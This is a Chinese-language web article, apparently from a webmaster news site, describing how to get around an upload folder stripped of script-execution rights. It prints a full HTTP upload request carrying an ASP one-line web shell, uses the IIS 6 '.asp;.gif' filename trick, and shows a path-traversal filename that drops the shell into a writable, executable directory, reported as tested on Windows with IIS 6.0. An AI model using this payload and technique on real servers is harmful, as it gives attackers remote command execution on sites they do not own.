然而。上傳目錄取消了腳本執行的權限。 我想這里估計大家都要放棄了。 如何突破呢?其實是可以的. 關鍵是 [不修改名字] 先來看看一個上傳的數據包: POST /fa-bu/upload/upfile1.asp HTTP/1.1 Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */* Referer: http://xxxxx/fa-bu/upload/upload.asp Accept-Language: zh-cn Content-Type: multipart/form-data; boundary=---------------------------7da290150c5e Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729) Host: xxx.xxxx.xxnet Content-Length: 448 Connection: Keep-Alive Cache-Control: no-cache Cookie: ASPSESSIONIDSSCTCSCT=DJBKGKLBBIGNKJMBGOENNPAN -----------------------------7da290150c5e Content-Disposition: form-data; name="act" upload -----------------------------7da290150c5e Content-Disposition: form-data; name="file1"; filename="E:\xxx\xxx\xx\111.asp;.gif" Content-Type: text/plain <%execute(request("cmd"))%> -----------------------------7da290150c5e Content-Disposition: form-data; name="Submit" up -----------------------------7da290150c5e-- 關鍵是 : Content-Disposition: form-data; name="file1"; filename="E:\xxx\xxx\xx\111.asp;.gif" 我首先呢。 filename他是如何判斷 那個開始就是文件名呢? 他是判斷filename里的最右邊的一個"\"以后的就是文件名字了。 大家因該知道。 在windows下 "\" 和 "/" 是不分家的。 假設上傳之后的目錄為upload/ 然后一個可以執行可以寫的目錄為 okokok/ 那么我們只要構造 Content-Disposition: form-data; name="file1"; filename="E:\xxx\xxx\xx\./../okokok/111.asp;.gif" 那么我們上傳的文件就成功的傳進去了 okokok/111.asp;.gif了。 突破之! PS: win+iis6.0測試成功。 |
免責聲明:本站部分文章和圖片均來自用戶投稿和網絡收集,旨在傳播知識,文章和圖片版權歸原作者及原出處所有,僅供學習與參考,請勿用于商業用途,如果損害了您的權利,請聯系我們及時修正或刪除。謝謝!
始終以前瞻性的眼光聚焦站長、創業、互聯網等領域,為您提供最新最全的互聯網資訊,幫助站長轉型升級,為互聯網創業者提供更加優質的創業信息和品牌營銷服務,與站長一起進步!讓互聯網創業者不再孤獨!
掃一掃,關注站長網微信